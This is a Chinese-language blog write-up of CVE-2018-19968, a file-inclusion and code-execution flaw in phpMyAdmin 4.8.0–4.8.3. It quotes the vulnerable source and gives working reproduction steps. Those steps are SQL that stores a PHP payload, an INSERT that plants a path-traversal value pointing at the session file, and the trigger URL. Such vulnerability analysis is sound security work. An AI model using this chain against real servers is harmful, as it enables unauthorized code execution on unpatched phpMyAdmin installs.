phpMyAdmin 4.8.0~4.8.3 任意文件包含/远程代码执行漏洞 (CVE-2018-19968)

不知不觉就咸鱼了一周(发出了断九幺的声音),复现了下CVE-2018-19968,顺便分析下源码

介绍

  • 影响4.8.0~4.8.3版本
  • 读取本地文件
  • 需要登陆
    适用于可以登陆PHPMyAdmin,但是无法限制了写入文件的情况

详情

漏洞产生于tbl_replace.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//if some posted fields need to be transformed.
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
if ($mime_map === false) {
$mime_map = array();
}

$query_fields = array();
$insert_errors = array();
$row_skipped = false;
$unsaved_values = array();
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
include_once $filename;
$classname = Transformations::getClassName($filename);
/** @var IOTransformationsPlugin $transformation_plugin */
$transformation_plugin = new $classname();
$transformation_options = Transformations::getOptions(
$mime_map[$column_name]['input_transformation_options']
);
$current_value = $transformation_plugin->applyTransformation(
$current_value, $transformation_options
);
// check if transformation was successful or not
// and accordingly set error messages & insert_fail
if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
$insert_fail = true;
$row_skipped = true;
$insert_errors[] = sprintf(
__('Row: %1$s, Column: %2$s, Error: %3$s'),
$rownumber, $column_name,
$transformation_plugin->getError()
);
}
}
}

注意其中的include_once $filename;
$filename = 'libraries/classes/Plugins/Transformations/'. $mime_map[$column_name]['input_transformation'];
mime_map[$column_name][‘input_transformation’];又来自于
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);

getMIME则是libraries/classes/Transformations.php的一个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public static function getMIME($db, $table, $strict = false, $fullName = false)
{
$relation = new Relation();
$cfgRelation = $relation->getRelationsParam();

if (! $cfgRelation['mimework']) {
return false;
}

$com_qry = '';
if ($fullName) {
$com_qry .= "SELECT CONCAT("
. "`db_name`, '.', `table_name`, '.', `column_name`"
. ") AS column_name, ";
} else {
$com_qry = "SELECT `column_name`, ";
}
$com_qry .= '`mimetype`,
`transformation`,
`transformation_options`,
`input_transformation`,
`input_transformation_options`
FROM ' . Util::backquote($cfgRelation['db']) . '.'
. Util::backquote($cfgRelation['column_info']) . '
WHERE `db_name` = \'' . $GLOBALS['dbi']->escapeString($db) . '\'
AND `table_name` = \'' . $GLOBALS['dbi']->escapeString($table) . '\'
AND ( `mimetype` != \'\'' . (!$strict ? '
OR `transformation` != \'\'
OR `transformation_options` != \'\'
OR `input_transformation` != \'\'
OR `input_transformation_options` != \'\'' : '') . ')';
$result = $GLOBALS['dbi']->fetchResult(
$com_qry, 'column_name', null, DatabaseInterface::CONNECT_CONTROL
);

foreach ($result as $column => $values) {
// convert mimetype to new format (f.e. Text_Plain, etc)
$delimiter_space = '- ';
$delimiter = "_";
$values['mimetype'] = self::fixupMIME($values['mimetype']);

// For transformation of form
// output/image_jpeg__inline.inc.php
// extract dir part.
$dir = explode('/', $values['transformation']);
$subdir = '';
if (count($dir) === 2) {
$subdir = ucfirst($dir[0]) . '/';
$values['transformation'] = $dir[1];
}

$values['transformation'] = self::fixupMIME($values['transformation']);
$values['transformation'] = $subdir . $values['transformation'];
$result[$column] = $values;
}

return $result;
}

$values['transformation'] = $subdir . $values['transformation'];知道mime_map[$column_name]['input_transformation']= $subdir . $values['transformation']
而$value则是来自于$result
$result = $GLOBALS['dbi']->fetchResult($com_qry, 'column_name', null, DatabaseInterface::CONNECT_CONTROL);
执行的sql语句是

1
SELECT `column_name`, `mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options` FROM `db_name`.`pma__column_info` WHERE `db_name` = 'db_name' AND `table_name` = 'table_name' AND ( `mimetype` != '' OR `transformation` != '' OR `transformation_options` != '' OR `input_transformation` != '' OR `input_transformation_options` != '')

创建一个表

1
2
3
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

向pma__column_info中插入数据

1
2
INSERT INTO pma__column_info SELECT '1', 'foo', 'bar', 'baz', 'plop','plop', 'plop', 'plop',
'../../../../../../../../test','plop';

查询结果

1
2
3
4
5
6
7
mysql> SELECT `column_name`, `mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options` FROM `foo`.`pma__column_info` WHERE `db_name` = 'foo' AND `table_name` = 'bar' AND ( `mimetype` != '' OR `transformation` != '' OR `transformation_options` != '' OR `input_transformation` != '' OR `input_transformation_options` != '');
+-------------+----------+----------------+------------------------+--------------------------------------+------------------------------+
| column_name | mimetype | transformation | transformation_options | input_transformation | input_transformation_options |
+-------------+----------+----------------+------------------------+--------------------------------------+------------------------------+
| baz | plop | plop | plop | ../../../../../../../../test | plop |
+-------------+----------+----------------+------------------------+--------------------------------------+------------------------------+
1 row in set (0.00 sec)

这样filename就是libraries/classes/Plugins/Transformations/../../../../../../../../test
如果test文件存在就会被包含

复现

创建一个表

1
2
3
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

指定文件为session文件

1
2
INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', 'plop', 'plop',
'../../../../../../../../tmp/sess_***','plop';

其中***为Cookie中PhPmyadmin的值
之后访问
http://localhost/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
即可看到phpinfo

修复

  • 更新为最新版本